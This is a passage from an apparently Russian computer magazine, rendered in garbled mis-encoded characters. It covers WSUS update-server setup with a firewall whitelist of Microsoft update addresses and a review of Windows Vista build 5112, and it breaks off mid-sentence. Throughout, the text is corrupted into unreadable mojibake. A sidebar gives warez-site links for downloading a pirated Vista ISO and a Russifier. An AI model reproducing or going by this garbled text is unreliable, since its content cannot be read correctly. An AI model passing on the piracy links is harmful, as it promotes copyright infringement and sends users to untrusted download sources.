ïîëèòèêàìè, à òàêæå çàêà÷èâàåò íóæíûå àï-
äåéòû ñ ñåðâåðà Windows Update. Ïðàâäà, ñèí-
õðîíèçàöèÿ ñ Microsoft'îâñêèì ñåðâåðîì íà
âðåìÿ îòëàäêè íàøåé ñèñòåìû ïðîõîäèëà â
ðó÷íîì ðåæèìå (ïî íàæàòèþ êëàâèøè «Ñèíõðî-
íèçèðîâàòü ñåé÷àñ»). Ýòî íå î÷åíü óäîáíî, ïî-
ýòîìó ñàìîå âðåìÿ ïåðåéòè â ðàçäåë «Ïàðàìå-
òðû ñèíõðîíèçàöèè» è óêàçàòü óäîáíîå äëÿ òå-
áÿ ðàñïèñàíèå 

åñëè â ñåòè èñïîëüçóåòñÿ íåñêîëüêî WSUS-ñåðâå-
ðîâ, íåîáõîäèìî íàñòðîèòü ïàðàìåòðû îòðàæåíèÿ

çàêà÷èâàòü îáíîâëåíèÿ äëÿ âñåõ ïðîäóêòîâ
Microsoft � áåññìûñëåííàÿ òðàòà òðàôèêà.
Âûáåðè çäåñü òîëüêî òî, ÷òî òåáå íóæíî

ÑËÅÄÈ ÇÇÀ ÔÔÀÉÐÂÎËÎÌ 
Ëþáîé ãðàìîòíûé àäìèí ìåæäó ëî-
êàëüíîé ñåòüþ è Èíòåðíåòîì óñòàíà-
âëèâàåò ôàéðâîë. Âî èçáåæàíèå ïðî-
áëåì íóæíî ïðîñëåäèòü, ÷òîáû äëÿ
óñòàíîâëåííîé WSUS äîñòóï â ãëî-
áàëüíóþ ñåòü íå áëîêèðîâàëñÿ. Äëÿ
çàêà÷êè îáíîâëåíèé ñ Microsoft Upda-
te, WSUS-ñåðâåð èñïîëüçóåò 80
(HTTP) è 443 (HTTPS) ïîðòû, ïðè÷åì
ýòè ïàðàìåòðû íå ìîãóò áûòü èçìåíå-
íû. Åñëè òû ñ÷èòàåøü, ÷òî îòêðûòèå
ýòèõ ïîðòîâ íåãàòèâíî ïîâëèÿåò íà
áåçîïàñíîñòü òâîåé ñèñòåìû, ïðåäëà-
ãàþ ñîñòàâèòü «áåëûé ñïèñîê», ñî-
ñòîÿùèé èç àäðåñîâ, ê êîòîðûì áóäåò
ðàçðåøåí äîñòóï. Â íåãî íóæíî âíå-
ñòè:
http://windowsupdate.microsoft.com 
http://*.windowsupdate.microsoft.com 
https://*.windowsupdate.microsoft.com 
http://*.update.microsoft.com 
https://*.update.microsoft.com 
http://*.windowsupdate.com 
http://download.windowsupdate.com
http://download.microsoft.com 
http://*.download.windowsupdate.com 
http://wustat.windows.com 
http://ntservicepack.microsoft.com
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ÇÄÐÀÂÑÒÂÓÉ, ÄÎÐÎÃÎÉ ×ÈÒÀÒÅËÜ. ÍÀÊÎÍÅÖ,
ÌÍÅ Â ÐÓÊÈ ÏÎÏÀËÑß ÄÎËÃÎÆÄÀÍÍÛÉ ÁÈËÄ
WINDOWS VISTA. ÊÎÍÅ×ÍÎ, ÓÆÅ ÌÍÎÃÈÅ ÑËÛ-
ØÀËÈ Î ÍÅÉ, À ÍÀÈÁÎËÅÅ ÏÐÎÄÂÈÍÓÒÛÅ ÓÆÅ
È ÏÎÏÐÎÁÎÂÀËÈ Â ÄÅËÅ ÍÎÂÛÅ ÔÎÐÒÎ×ÊÈ.
ÍÀØ ÊÐÀÒÊÈÉ ÎÁÇÎÐ ÏÐÅÄÍÀÇÍÀ×ÅÍ ÄËß
ÒÅÕ, Ó ÊÎÃÎ ÏÎÊÀ ÍÅÒ ÂÎÇÌÎÆÍÎÑÒÈ ÎÇÍÀ-
ÊÎÌÈÒÜÑß ËÈ×ÍÎ Ñ ÍÎÂÎÉ ÂÅÐÑÈÅÉ ÂÑÅÌÈ 
ÍÀÌÈ ÃÎÐß×Î ËÞÁÈÌÎÃÎ ÏÐÎÄÓÊÒÀ ÎÒ ÍÅ
ÌÅÍÅÅ ÃÎÐß×Î ËÞÁÈÌÎÉ ÊÎÌÏÀÍÈÈ
MICROSOFT | Êóðèëü÷åíêî Ìàêñèì aka ExtraCOM, 

Åëèçàðîâ Ñåðãåé aka aBADonna 
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Îáçîð 
Windows Vista build 5112

MICROSOFT
VISTA BUILD 5112

[ãäå âçÿòü?] Äëÿ îñîáî æåëàþùèõ ñàìèì ïîïðîáîâàòü íîâóþ îïåðàöè-
îíêó ñîîáùèì èñòî÷íèêè, ãäå åå åùå ìîæíî áåñïëàòíî ñêà÷àòü è ãäå
ìîæíî ïëàòíî çàêàçàòü äèñê.
Îáðàç ISO ìîæíî íàéòè ïî ñëåäóþùèì àäðåñàì: http://fullofwarez.biz/
post.php?149, www.nht-team.org/comments.php?idn=623. Äëÿ òåõ, ó êîãî 
òóãî ñ àíãëèéñêèì, è äëÿ ïðî÷èõ ïàòðèîòîâ � ðóñèôèêàòîð:
http://fullofwarez.biz/post.php?201. Çàêàçàòü äèñê ñ íîâîé îïåðàöèîííîé ñèñ-
òåìîé ìîæíî òóò: www.hotcd.ru/cgi-bin/index.pl?5==13685==0==izone
(â áîëüøèíñòâå ìîñêîâñêèõ ëîêàë äàâíî âñå ýòî ëåæèò :) � ïðèì. Ëîçîâñêîãî). 
Èòàê, ïðèñòóïèì. Íà÷àòü, ïîæàëóé, ñòîèò ñ ðåêîìåíäîâàííûõ ôèðìîé-
ðàçðàáîò÷èêîì àïïàðàòíûõ òðåáîâàíèé. Ýòî CPU 1.5 GHz/512 Mb
RAM/HDD 6 Gb.
Ñðàçó ìîæíî ïðèêèíóòü, ÷òî ðàçìåð ïàðòèöèè äëÿ ôîðòî÷åê ñîñòàâèòü äîë-
æåí íèêàê íå ìåíåå äåñÿòè ãèãîâ. Íàñ÷åò îñòàëüíûõ òðåáîâàíèé: íà ìîé
âçãëÿä, îíè áîëåå ÷åì ñêðîìíûå. ß îæèäàë áîëåå ñåðüåçíûõ òðåáîâàíèé.
Èíñòàëëÿöèÿ ïðîèçâîäèëàñü íà êîìïüþòåðå ñëåäóþùåé êîíôèãóðàöèè:
CPU 3.0 GHz/768 Mb RAM/HDD 80 Gb.

[ïðîöåññ óñòàíîâêè] Ïîïûòêà óñòàíîâèòü ÎÑ èç ðàñïàêîâàííîãî îá-
ðàçà ISO âûçâàëà îøèáêó. Ñàìà Microsoft ðåêîìåíäóåò óñòàíàâëèâàòü ÎÑ
ëèáî ñ DVD äèñêà, ëèáî èç ñìîíòèðîâàííîãî îáðàçà � òàê ÿ è ïîñòóïèë. 
Òàêæå íà âûáîð ïðåäëàãàåòñÿ ëèáî íîâàÿ óñòàíîâêà, ëèáî óñòàíîâêà ñ
îáíîâëåíèåì, êîòîðàÿ îêàçàëàñü íåäîñòóïíîé, òàê êàê îáíîâëÿåòñÿ îíà
òîëüêî ñ âåðñèè Longhorn build 5099. Òî åñòü ïîä ÷åì áû òû íè ñèäåë,
ñòàâèòü ïðèäåòñÿ çàíîâî. Íó äà, íå áåäà.
Äàëåå äëÿ óñòàíîâêè íàì ïðåäúÿâëÿþòñÿ èìåþùèåñÿ ðàçäåëû äèñêîâ.
Ïîñëå íóæíîãî âûáîðà ñëåäóåò ñîçäàíèå çàãðóçî÷íîãî ñåêòîðà è îïðåäå-
ëåíèå ìèíèìàëüíî íåîáõîäèìûõ ðåñóðñîâ êîìïüþòåðà äëÿ óñòàíîâêè.
Ýòî ñîñòàâëÿåò 10�15 ìèíóò (íà îïèñàííîé âûøå êîíôèãóðàöèè). Îòñþ-
äà è äàëåå ÿ áóäó óêàçûâàòü âðåìÿ ïðîöåññîâ. Ïåðâàÿ îïëîøíîñòü ðàç-
ðàáîò÷èêîâ � íå äàòü âîçìîæíîñòü ïîëüçîâàòåëÿì îòñëåæèâàòü âðåìÿ
óñòàíîâêè. Íó ñêîëüêî ìîæíî óæå? Íåóæåëè íåëüçÿ áûëî ïîñòàâèòü òàé-
ìåð? Ýõ, Ìàéêðîñîôò�
Ïîñëå ïåðâîé ïåðåçàãðóçêè (çàáåãàÿ âïåðåä, ñêàæåì, ÷òî âñåãî èõ ïîñ-
ëåäóåò òðè) èäåò ðàñïàêîâêà ôàéëîâ. Â Windows Vista âñå îíè (ôàéëû)
ñïðÿòàíû â åäèíûé ôàéë install.wim, çàíèìàþùèé 900 Ìá. Îæèäàíèå
äëèëîñü 15�20 ìèí.

[âòîðàÿ ïåðåçàãðóçêà] Äàëåå ìû íàáëþäàåì (âåðíåå, ïðåäñòàâëÿåì
â íàøåì øèðîêîì âîîáðàæåíèè) çà îïðåäåëåíèåì àïïàðàòíûõ óñò-
ðîéñòâ è êîïèðîâàíèåì ôàéëîâ, â ïðîöåññå êîòîðîãî ïðîãðàììà èíñòàë-
ëÿöèè óáåäèòåëüíî ïðîñèò íå ïåðåçàãðóæàòü êîìïüþòåð. 
Ñìåëî ìîæåøü èäòè çàíèìàòüñÿ ñâîèìè äåëàìè, òàê êàê êîïèðîâàëîñü
è íàñòðàèâàëîñü âñå ýòî ñ÷àñòüå íè ìíîãî íè ìàëî � 45 ìèí. 
×òî ñòîèò îòìåòèòü? Óñòàíîâêà íå ñîïðîâîæäåíà íèêàêèìè ïîÿñíÿþùè-
ìè ñâåäåíèÿìè, ÷òî, ÿ äóìàþ, îñëîæíèò âîñïðèÿòèå ó íåîïûòíûõ è íà÷è-
íàþùèõ ïîëüçîâàòåëåé (õîòÿ ýòî, âåðîÿòíî, áóäåò ðåàëèçîâàíî â ïîñëå-
äóþùèõ âåðñèÿõ). ß òàê íàäåÿëñÿ, ÷òî ìíå îïÿòü ñêàæóò: «Îòêèíüòåñü íà
ñïèíêó êðåñëà�» (íó òû ïîìíèøü, î ÷åì ÿ), è ÿ ñ íàñëàæäåíèåì ïðî÷òó
õâàëåáíûå îäû ðàçðàáîò÷èêîâ ñâîåìó íîâîìó äåòèùó. Íî ýòîãî íå ïðî-
èçîøëî, è âåñü ïðîöåññ èíñòàëëÿöèè ïðèøëîñü ñêó÷àòü.
Ïîñëå òîãî êàê ÎÑ óñïåøíî óñòàíîâèëàñü, è êîìïüþòåð ïåðåçàãðóçèëñÿ
â ïîñëåäíèé ðàç, ìîåìó âçîðó ïðåäñòàë «Ðàáî÷èé ñòîë». ß òàê äîëãî
æäàë ýòîãî ìîìåíòà â îæèäàíèè ñíîãñøèáàòåëüíîé ãðàôèêè, íî, óâû,
íàø íîâûé äåñêòîï íåçíà÷èòåëüíî (îïÿòü æå, ïî ìîåìó ñêðîìíîìó ìíå-
íèþ) îòëè÷àåòñÿ îò ñâîåãî ìëàäøåãî áðàòà � äåñêòîïà Windows XP.
Ãëàâíîé îòëè÷èòåëüíîé ÷åðòîé ñòàëà ïðîçðà÷íàÿ èêîíêà «Êîðçèíû», íî-
âûå îáîè (à îáîè, ñòîèò çàìåòèòü, íèñêîëüêî íå äåôèöèòíûé òîâàð), 



À ñåé÷àñ âíèìàíèå � ñþðïðèç! Çàõîäèì â cmd, êîìàíäóåì òàì
Systeminfo. È ÷òî ìû âèäèì â ñòðîêå íàçâàíèÿ ïðîäóêòà? Óðà! Microsoft®
Windows® 2000 Professional! Ìîëîäöû, ðàçðàáîò÷èêè! 
Çàõîòåëîñü óçíàòü, ÷òî æå íàì ïèøåò ðàçäåë ðååñòðà HKLM -> Software
-> Microsoft -> WindowsNT -> CurentVerson. È êàêîâî æå áûëî ìîå óäèâ-
ëåíèå, êîãäà â ñòðîêîâîì ïàðàìåòðå ProductName ÿ óâèäåë: Windows
(TM) Code Name «Longhorn» Professional. Ïðîñòî âåëèêîëåïíî. ß äîâî-
ëåí! Microsoft êàê âñåãäà äåðæèò ìàðêó. 
Ïåðåéäåì ê ðàññìîòðåíèþ, íà ìîé âçãëÿä, ñàìîãî âàæíîãî ýëåìåíòà ëþ-
áîé ÎÑ ñåìåéñòâà Windows � Ïðîâîäíèêó. Ýòîò, íå ïîáîþñü òàêîãî ñëî-
âà, «ñòîëï» îïåðàöèîííîé ñèñòåìû äåéñòâèòåëüíî ïåðåæèë îñíîâàòåëü-
íóþ ïåðåðàáîòêó, õîòÿ ïðèíöèïû íàâèãàöèè îñòàþòñÿ íåèçìåííûìè. Ñ
ïðèâû÷íûì ïðåäñòàâëåíèåì àäðåñíîé ñòðîêè ïîëüçîâàòåëÿì ïðèäåòñÿ
ïîïðîùàòüñÿ, ÷òî ñòàíåò ìàëåíüêèì íåóäîáñòâîì. Äëÿ ìåíÿ, íàïðèìåð,
òî÷íî ñòàíåò, õîòÿ ôàéëîâûå ìåíåäæåðû íèêòî åùå íå îòìåíÿë, íî âñå-òà-
êè, êîìó îíà ìåøàëà-òî, àäðåñíàÿ íàøà ñòðîêà? Åñòü è áîëüøîé ïëþñ: òå-
ïåðü êàæäûé èç ïîä÷èíåííûõ ýëåìåíòîâ îíîé ñòàë ðàñêðûâàþùèìñÿ, è
îòîáðàæàåò ñïèñîê êàòàëîãîâ â íåì. Äåéñòâèòåëüíî, íå ïëîõà èäåÿ âèðòó-
àëüíûõ ïàïîê, õîòÿ îñîáîé ôóíêöèîíàëüíîñòè â íåé ÿ òàê è íå çàìåòèë.
Òàêæå ïðîèçâåëà âïå÷àòëåíèå âîçìîæíîñòü èçìåíÿòü ïðåäñòàâëåíèå ïà-
ïîê è ôàéëîâ. Íåïëîõî ðåàëèçîâàíà ñòðîêà ñòàòóñà, â êîòîðîé ïîêàçûâà-
åòñÿ íå òîëüêî ñòàíäàðòíûé ïàðàìåòð � ðàçìåð è äàòà èçìåíåíèÿ ôàéëà,
íî è ïðèñóòñòâóåò âîçìîæíîñòü ïðèñâîèòü ôàéëó ðåéòèíã îò îäíîãî äî ïÿ-
òè, õîòÿ íå ïîíÿòíî, ïî÷åìó ê êàòàëîãàì ýòî îòíîøåíèÿ íå èìååò? Ïîèñê
äîêóìåíòîâ � ýòî âîîáùå çàãàäî÷íàÿ øòóêà. Ïðè ïîïûòêå íàéòè ôàéë
msdos.sys, à îí ó ìåíÿ òî÷íî ïðèñóòñòâóåò â êîðíåâîì êàòàëîãå äèñêà Ñ:\,
ïîèñêîâèê ìíå âûäàë, ÷òî òàêîãî ôàéëà (âåðíåå, äîêóìåíòà, ñîäåðæàùåãî
msdos.sys) íå íàéäåíî â ïîëüçîâàòåëüñêîé ïàïêå, à èçìåíèòü ìåñòî ïîèñ-
êà îêàçàëîñü íåâîçìîæíî. Ïîýòîìó íàéòè êàêîé-ëèáî äîêóìåíò áóäåò
î÷åíü ñëîæíî. Îñîáåííî, åñëè ó òåáÿ íåðàçáåðèõà â ñòðóêòóðå äèðåêòîðèé.
À âåäü ïðè çàãðóçêå ÎÑ ñðàçó æå ñòàðòóåò òàêàÿ ñëóæáà Windows Search
Engine, ÷òî çàìåòíî òîðìîçèò çàïóñê îïåðàöèîíêè, è äîëæíî ñëóæèòü óñ-
êîðåíèåì äî ìîëíèåíîñíîé ñêîðîñòè ïðîöåññà ïîèñêà ôàéëîâ. Îïÿòü-
òàêè, ñòîèò óïîâàòü íà òî, ÷òî âåðñèÿ ýòà ó íàñ âîâñå íå ôèíàëüíàÿ, è â
ôèíàëüíîì ðåëèçå óæ òî÷íî âñå áóäåò ðàáîòàòü êàê íàäî.
Ïðè êîïèðîâàíèè èíôîðìàöèè â ïðîâîäíèêå â îêíå êîïèðîâàíèÿ âûâî-
äèòñÿ ïîäðîáíàÿ èíôîðìàöèÿ î ïðîèñõîäÿùåì, âêëþ÷àÿ ñêîðîñòü êîïè-
ðîâàíèÿ â Ìá/ñåê, ÷òî ÿâëÿåòñÿ ïðèÿòíûì äîïîëíåíèåì. Òàêæå, ê âåëè-
êîé ðàäîñòè âëàäåëüöåâ ìîáèëüíûõ óñòðîéñòâ, ïîÿâèëàñü âîçìîæíîñòü
îòïðàâêè ôàéëîâ ñðàçó íà ïîðò BlueTooth, åñëè òàêîé ïðèñóòñòâóåò.
Â íàñòðîéêàõ ïàïêè «Ìîè äîêóìåíòû» ïîÿâèëàñü âîçìîæíîñòü ñèíõðî-
íèçàöèè ñ äðóãèìè êîìïüþòåðàìè, íî îòìå÷ó îäèí ìàëîïðèÿòíûé áàã: ÿ,
êàê íè õîòåë, íå ñìîã îòîáðàçèòü ññûëêó «Ìîè äîêóìåíòû» íà ðàáî÷åì
ñòîëå áåç òîãî, ÷òîáû íå ñîçäàâàòü íîâûé ÿðëûê.
Õî÷ó îòìåòèòü, ÷òî äëÿ çàïóñêà ïðîãðàìì, íàõîäÿùèõñÿ â «Ðóññêèõ» êàòàëîãàõ,
íåîáõîäèìî ïîìåíÿòü íàöèîíàëüíûå óñòàíîâêè è äîáàâèòü ðóññêèé ÿçûê. Íî ÿ
óâåðåí, ÷òî ýòî áóäåò èñïðàâëåíî ïîòîì â ðóññêîé ëîêàëèçàöèè Windows Vista.
Ãîâîðÿ îá IE, ìîæíî îòìåòèòü åãî âåëèêîëåïíóþ ðåàëèçàöèþ. Íàêîíåö-òî
ðàçðàáîò÷èêè ñäåëàëè ìíîãîîêîííîñòü, êîòîðóþ, íàâåðíîå, ïîäõâàòèëè ó
äðóãèõ íàâèãàòîðîâ. Òàêæå ïîðàæàåò ñêîðîñòü çàãðóçêè ñòðàíè÷åê, íà ïî-
ðÿäîê ïðåâîñõîäÿùàÿ çàãðóçêó èäåíòè÷íûõ â WinXP ïðè ñêîðîñòè ñîåäè-
íåíèÿ ïî ìîäåìó 33,6 Êá. Îñòàëîñü äîæäàòüñÿ òîëüêî èíôîðìàöèè î íàé-
äåííûõ â íåì óÿçâèìîñòÿõ, ïîñòàâèòü çàïëàòêè è æèòü ñ÷àñòëèâî. Íó íå
âåðþ ÿ, ÷òî âñåìè îáðóãàííûé îñëèê IE ñòàíåò òîëêîâûì áðàóçåðîì.

à òàêæå ÷åðíàÿ ñòðîêà çàïóñêà. Îáèäíî, äðóçüÿ. ß ìå÷òàë î 3D-íàâîðî-
òàõ, íåèìîâåðíîé êðóòèçíå è íîâîì êîíöåïòå� Àí-íåò. 
Íî íå âñå òàê çàïóùåíî. Ïðè äàëüíåéøåé ðàáîòå ÿ ñòàë îòìå÷àòü âñå
áîëüøå è áîëüøå íîâîìîäíûõ èçìåíåíèé â GUI. Óðà? Âîîáùå, ãðàôè-
÷åñêèé èíòåðôåéñ äåéñòâèòåëüíî çíà÷èòåëüíî èçìåíèëñÿ. Ïîÿâèëñÿ
îáúåì ó ñâåðíóòûõ ïðîãðàìì â ñòðîêå çàïóñêà. Ìîäíî ñòàëè ïîäñâå÷è-
âàòüñÿ êíîïêè ñâîðà÷èâàíèÿ, ðàçâîðà÷èâàíèÿ è çàêðûòèÿ îêíà. Ïðè êî-
ïèðîâàíèè ïðîãðåññ áàð ñòàë òàêæå îáúåìíûì.
Íî âñå ýòî ìîæíî áûëî âñòðåòèòü è ó ñòîðîííèõ ðàçðàáîò÷èêîâ ãðàôè-
÷åñêèõ èíòåðôåéñîâ äëÿ Windows XP. Ìíîãèå èç íàñ êà÷àëè ýòè ïðåñëî-
âóòûå ïñåâäîëîíãõîðíîâñêèå GUI. Òàê ÷òî îñîáîé ðàäîñòè ÿ íå èñïûòàë.
Íó, êðàñèâåíüêî. Íå áîëåå òîãî � ïðèâûê çà 10 ìèíóò. 
Îòâëåêøèñü îò ãðàôè÷åñêèõ ïðèáàìáàñîâ, ÿ îòìåòèë, ÷òî ïðè çàãðóçêå
íè ïðîçâó÷àëî íå åäèíîãî çâóêà, è ðåøèë ïîñìîòðåòü íà ïàíåëü óñò-
ðîéñòâ êîìïüþòåðà, ÷òîáû óáåäèòüñÿ, ÷òî âñå óñòðîéñòâà âñòàëè íîð-
ìàëüíî. È êàêîâî æå áûëî ìîå ðàçî÷àðîâàíèå, êîãäà ÿ óâèäåë íåðàñïîç-
íàííûé àóäèîàäàïòåð.
Âîîáùå, ñðàçó ïîñëå çàãðóçêè ÎÑ âûâîäèòñÿ îêîøêî ñ ïðåäëîæåíèåì
çàïóñòèòü íåêèé Install Supplemental Drivers, êîòîðûé, ïî çàâåðåíèÿì
ðàçðàáîò÷èêîâ, äîëæåí áûë îáåñïå÷èòü ïîëüçîâàòåëåé äðàéâåðàìè
ÃÐÀÔÈ×ÅÑÊÈÕ È ÑÅÒÅÂÛÕ óñòðîéñòâ, íå ïðèñóòñòâîâàâøèõ â ñòàíäà-
ðòíîì êîìïëåêòå óñòàíîâêè. È ÿ äî ñèõ ïîð íå ìîãó ïîíÿòü, ïî÷åìó òóäà
æå íåëüçÿ áûëî âêëþ÷èòü äðàéâåðà äëÿ çâóêà? Íàâåðíîå, ýòîò íåäîñòà-
òîê òîæå âûïðàâÿò â ôèíàëüíîé âåðñèè ñèñòåìû. À òî ÷òî æå ýòî ïîëó-
÷àåòñÿ: íàëèöî äèñêðèìèíàöèÿ óñòðîéñòâ. Êòî-òî ñòàâèòñÿ â ïðîöåññå
óñòàíîâêè, êòî-òî � ïîñëå� À êòî-òî âîîáùå íå ñòàâèòñÿ? Íó, ñòàíäàðò-
íûå çâóêîâûå äðàéâåðà, ìíå êàæåòñÿ, óæ ìîæíî áûëî äîáàâèòü ê òåì
900 ìåãàáàéòàì õëàìà, ÷òî íàïèõàëè â èíñòàëüíèê. 
Çàïóñê ðîäíîé èíñòàëëÿöèè AudioMAX äëÿ èíòåãðèðîâàííîãî ÷èïñåòà
AC'97, ïðåäíàçíà÷åííóþ äëÿ WinXP ïðèâåë ê êðèòè÷åñêîé îøèáêå, âûç-
âàííîé íåñîâìåñòèìîñòüþ âåðñèé. Àé-àé-àé, êàê íåóäîáíî� Íî ïðîáëåìó
ñî çâóêîì ÿ ðåøèë ýëåìåíòàðíî � óêàçàë ðàñïîëîæåíèå ôàéëîâ íåïîñ-
ðåäñòâåííî â îáíîâëåíèè äðàéâåðîâ. Òî åñòü òêíóë ïàëüöåì, ìîë, òóò îíè.
Äàëåå ÿ çàïóñòèë DxDiag, ÷òîáû óáåäèòüñÿ â òîì, ÷òî òåïåðü óæå ìíå
íè÷òî íå ïîìåøàåò íàñëàæäàòüñÿ ñèñòåìîé DirectX, íî íå òóò-òî áûëî.
Îçíàêîìèâøèñü ñ îò÷åòîì î òåñòèðîâàíèè ñèñòåìû, ÿ îáíàðóæèë, ÷òî
ïîïðîñòó íå õâàòàåò íåêîòîðûõ ôàéëîâ, íåîáõîäèìûõ äëÿ ïîëíîöåííîé
ðàáîòû òîé èëè èíîé ìóëüòèìåäèà-ñèñòåìû, à â ðååñòðå îòñóòñòâîâàëè
ìíîãèå êëþ÷è. Èç ÷åãî áûë ñäåëàí âûâîä, ÷òî íåêîòîðûå ôàéëû áèáëè-
îòåê è äðàéâåðîâ íå èìåþò öèôðîâîé ïîäïèñè, ÷òî âåäåò ê íåñòûêîâêå
ñ DirectX-ñèñòåìîé. Êîìó âîîáùå íóæíà ýòà öèôðîâàÿ ïîäïèñü? 

ðàáî÷èé ñòîë Âèñòû íè÷åì îñîáûì íå îòëè÷àåòñÿ 
îò ïðåäûäóùèõ âåðñèé ôîðòî÷åê
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[ïàíåëü óïðàâëåíèÿ] Â íåé ïîÿâèëèñü ññûëêè íà òàêèå íîâûå ïðîã-
ðàììû, êàê  Indexing and Search Option, óïðàâëÿþùèé ñëóæáîé WSE
(Windows Search Engine), Auxiliary Display, íàçíà÷åíèå êîòîðîé äëÿ ìåíÿ
îñòàåòñÿ çàãàäêîé, iSCSI, Portable Device è Portable Media Device,
Program, Solutions to Problem, Sync Manager. Îòäåëüíî ìîæíî îòìåòèòü
ñëóæáó Windows Parental Control, êîòîðàÿ ñëóæèò äëÿ îãðàíè÷åíèÿ èãð ñ
«íåïîäîáàþùèìè» æàíðàìè è ñìûñëîì. Äóìàþ, ñ÷àñòëèâûì îáëàäàòå-
ëÿì þíûõ ÷àä ýòî íîâîââåäåíèå âåñüìà ïðèãîäèòñÿ. 
Òåïåðü î ãëþêàõ ïðîãðàìì èç ïàíåëè óïðàâëåíèÿ. Êàê æå áåç íèõ?
Ïðè ïîïûòêå ñîçäàíèÿ íîâîãî ïîëüçîâàòåëÿ ñ îãðàíè÷åííûìè ïðàâàìè
ìíå ýòî íå óäàëîñü, òàê êàê îïåðàöèîííàÿ ñèñòåìà ñîîáùèëà, ÷òî íåîá-
õîäèìî ñîçäàòü õîòÿ áû îäíîãî ïîëüçîâàòåëÿ ñ ïðàâàìè àäìèíèñòðàòî-
ðà. Êàê áóäòî ó÷åòíàÿ çàïèñü, ñîçäàííàÿ ïî óìîë÷àíèþ ïðè óñòàíîâêå
Vista, äàííûìè ïîëíîìî÷èÿìè íå ðàñïîëàãàëà.
Òàêæå ïðîïàëà âîçìîæíîñòü äîáàâëÿòü èëè óäàëÿòü ïðîãðàììû, ïîñòàâ-
ëÿåìûå âìåñòå ñ îïåðàöèîííîé ñèñòåìîé (êîìïîíåíòû Windows). Íî äó-
ìàþ, ýòó ïðîáëåìó â ñêîðîì âðåìåíè ðàñêîâûðÿþò, è íàéäóò ñïîñîá ýòî
ñäåëàòü. Ðååñòð íàì ïîìîæåò! 
Åùå îòêðîâåííî ðàçäðàæàåò òî, ÷òî äàæå ïîñëå îòêëþ÷åíèÿ àâòîìàòè-
÷åñêîãî îáíîâëåíèÿ, öåíòð áåçîïàñíîñòè âñå ðàâíî íàçîéëèâî ïðîäîë-
æàåò íàïîìèíàòü, ÷òî, ìîë, àâòîìàòè÷åñêîå îáíîâëåíèå âûêëþ÷åíî, 
è ýòî îïàñíî. Î÷åíü îïàñíî! Êîëåíêè òðÿñóòñÿ ïðîñòî! 
Â íîâîââåäåíèÿõ, ÿ äóìàþ, òàêæå ñòîèò îòìåòèòü äîáàâëåíèå ê ÿçûêîâûì
íàñòðîéêàì � «ðàçãîâîðíûå îäîáðåíèÿ», âèäèìî, äëÿ ñèñòåìû ðàñïîçíà-
âàíèÿ ðå÷è, êîòîðóþ ìíå, ê ñîæàëåíèþ, èñïûòàòü íå ïðèøëîñü çà íåèìå-
íèåì ìèêðîôîíà. Õîòÿ, äóìàþ, îíà êðèâàÿ è ðàáîòàåò íå òàê, êàê íóæíî.
Åùå îäíîé íåïðèÿòíîñòüþ ñòàëî òî, ÷òî â íåêîòîðûõ ðóñèôèöèðîâàííûõ
ïðîãðàììàõ íåïðàâèëüíî îòîáðàæàþòñÿ øðèôòû (ASDSee v.6.0), ÷òî áó-
äåò èñïðàâëåíî â ðóññêîÿçû÷íîé âåðñèè ÎÑ.
Òàêæå ìîæíî ñêàçàòü íåñêîëüêî ñëîâ î ïóíêòå «Àäìèíèñòðèðîâàíèå»,
èç êîòîðîãî èñ÷åçëà ïðèâû÷íàÿ ññûëêà «Ñëóæáû». Äëÿ òåõ, êòî íå çíà-
åò: îíà åñòü â «Óïðàâëåíèè Êîìïüþòåðîì» :). Ñòîèò îòìåòèòü ïðîñìîòð-
ùèê ñîáûòèé, êîòîðûé òåïåðü ñòàë ãîðàçäî óäîáíåå. Òàê ÷òî áóäåì
èìåòü ïîëíîöåííî îôîðìëåííûå ñòàðûå ëîãè.
Ðååñòð Vista ñòàë ãîðàçäî áîëüøå, õîòÿ èç ïðîãðàìì, óñòàíîâëåííûõ â
îïåðàöèîííîé ñèñòåìå, áûë òîëüêî Îôèñ (äà è òî íå ïîëíûé), WinAmp
è ASDSee. Óøëî â ïðîøëîå ïðèâû÷íîå ïðåäñòàâëåíèå ïàïêè Documents
and Settings, òåïåðü ïðîôèëè ïîëüçîâàòåëåé õðàíÿòñÿ â êàòàëîãå Users.
Â çàêëþ÷åíèå õî÷åòñÿ ïðîäåêëàìèðîâàòü íàáëþäåíèÿ ñòîðîííèõ íàá-
ëþäàòåëåé. Êàê óòâåðæäàåò ïîðòàë ZDNET.RU, óæå óñòàíîâëåíà îôèöè-
àëüíàÿ äàòà âûïóñêà Windows Vista, è ìîæíî ðàññ÷èòûâàòü íà ñâîåâðå-
ìåííûé âûõîä îïåðàöèîííîé ñèñòåìû â êîíöå áóäóùåãî ãîäà. Ñîãëàñíî
ñòàòüå â Windows IT Pro, îôèöèàëüíûì äíåì âûïóñêà ïîëíîé âåðñèè Vista
ñòàíåò 7 äåêàáðÿ 2006 ãîäà, à âòîðàÿ áåòà-âåðñèÿ ïðîäóêòà âûéäåò â êîí-
öå ýòîãî ãîäà. Ñî ññûëêîé íà «ñàìûå ïîñëåäíèå âíóòðåííèå äîêóìåíòû
Microsoft» â ñòàòüå óòâåðæäàåòñÿ òàêæå, ÷òî ïåðâûé âûïóñê Release can-
didate îïåðàöèîííîé ñèñòåìû, RC0, ïîÿâèòñÿ 19 àïðåëÿ áóäóùåãî ãîäà, à
âòîðîé � 28 èþíÿ. Ïîñëå ýòîãî, 9 àâãóñòà, Vista áóäåò ïåðåäàíà â ïðîèç-
âîäñòâî. Ïåðâóþ áåòà-âåðñèþ Vista òåñòåðû ïîëó÷èëè â êîíöå èþëÿ.

[êîíåö � äåëó âåíåö] Â çàêëþ÷åíèå õî÷åòñÿ ñêàçàòü, ÷òî õàêåðû äîá-
ðàëèñü óæå è äî Vista. Íà ýòî ó íèõ óøëî ÷óòü áîëüøå íåäåëè (åñëè ñ÷è-
òàòü ñî äíÿ âûõîäà Beta 1), ÷òî ñàìî ïî ñåáå äåìîíñòðèðóåò îñîáûé èíòå-
ðåñ, îáðàùåííûé ê ñëåäóþùåé âåðñèè Windows ñî ñòîðîíû êèáåð-ïàíêîâ.
Ïî ñîîáùåíèþ áðèòàíñêîãî èíòåðíåò-ðåñóðñà PC Pro, íà äíÿõ â Ñåòè ïî-
ÿâèëèñü ïåðâûå ýêçåìïëÿðû âðåäîíîñíûõ ïðîãðàìì, ñïîñîáíûõ ñ ëåã-
êîñòüþ âçëîìàòü ñèñòåìó çàùèòû Windows Vista Beta 1. Ñîãëàñíî èíôîð-
ìàöèè, ñîáðàííîé ôèíñêîé àíòèâèðóñíîé êîìïàíèåé F-Secure, àâñòðèéñ-

